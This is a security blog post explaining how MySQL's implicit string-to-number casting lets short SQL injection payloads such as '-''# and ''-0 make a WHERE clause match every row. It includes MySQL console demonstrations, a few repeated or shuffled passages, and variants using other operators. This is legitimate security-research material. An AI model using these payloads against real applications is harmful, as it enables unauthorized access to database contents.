Abusing MySQL string arithmetic for tiny SQL injections
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Abusing MySQL string arithmetic for tiny SQL injections
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Today I've found a small nifty trick that may become helpful when exploiting SQL injection vulnerabilities for MySQL. Namely, you can abuse MySQL string typecasting.
But first, let's look at this:
MySQL, what are you doing?
You can use the same trick with ''+'', ''&'', ''^'' and ''*''. Beware though:
Another trick would be to simply compare a string column to
''-0:
But first, let's look at this:
MySQL, what are you doing?
mysql> desc t; +-------+-------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +-------+-------------+------+-----+---------+-------+ | name | varchar(20) | YES | | NULL | | | num | int(11) | YES | | NULL | | +-------+-------------+------+-----+---------+-------+ 2 rows in set (0.11 sec) mysql> select * from t; +--------+------+ | name | num | +--------+------+ | nazwa | 3 | | second | 4 | +--------+------+ 2 rows in set (0.00 sec) mysql> select * from t where name=''; Empty set (0.00 sec) mysql> select * from t where name=''-''; +--------+------+ | name | num | +--------+------+ | nazwa | 3 | | second | 4 | +--------+------+ 2 rows in set, 2 warnings (0.00 sec)WTF just happened? Warnings clear up the situation a little bit:
mysql> show warnings; +---------+------+--------------------------------------------+ | Level | Code | Message | +---------+------+--------------------------------------------+ | Warning | 1292 | Truncated incorrect DOUBLE value: 'nazwa' | | Warning | 1292 | Truncated incorrect DOUBLE value: 'second' | +---------+------+--------------------------------------------+ 2 rows in set (0.00 sec)Minus operator used on strings converted them to DOUBLE, a numeric value. What's the result of this statement?
mysql> select ''-''; +-------+ | ''-'' | +-------+ | 0 | +-------+So for each row the 'name' column was compared to 0. That triggerred another type conversion and, with a warning, for each row the effective value was 0, which satisfied the WHERE condition ( 0 = ''-'').
The SQL injection part
How can the attacker abuse this quirk? Imagine that you:- have a limited character set (e.g. no whitespace, no equals sign, no parenthesis, no letters) or small length available,
- vulnerable query SELECT secret FROM table WHERE secret='$injection' AND another>5 AND ... .that needs to return at least one row,
- and you don't know the values for the secret column (they're not easily enumerable),
Simple payload:
'-''# will turn that query into:
and will return all rows (apart from those that match
/^-?[0-9]/)
SELECT secret FROM table WHERE fld=''-''# AND .....
You can use the same trick with ''+'', ''&'', ''^'' and ''*''. Beware though:
mysql> select 1 from dual where 'something' = ''/''; Empty set, 1 warning (0.00 sec) mysql> select 1 from dual where 'something' = ''/1; +---+ | 1 | +---+ | 1 | +---+ 1 row in set, 1 warning (0.00 sec)
mysql> select * from t where name=''-0; +--------+------+ | name | num | +--------+------+ | nazwa | 3 | | second | 4 | +--------+------+ 2 rows in set, 2 warnings (0.00 sec)The tricks mentioned here were tested on MySQL 5.5 and 5.1, but should work in older versions too.
And that's all folks. For all your SQL injection techniques, I highly recommend The SQL injection reference by Roberto Salgado. It helped me numerous times and is in my opinion the best reference on SQLi ever made.
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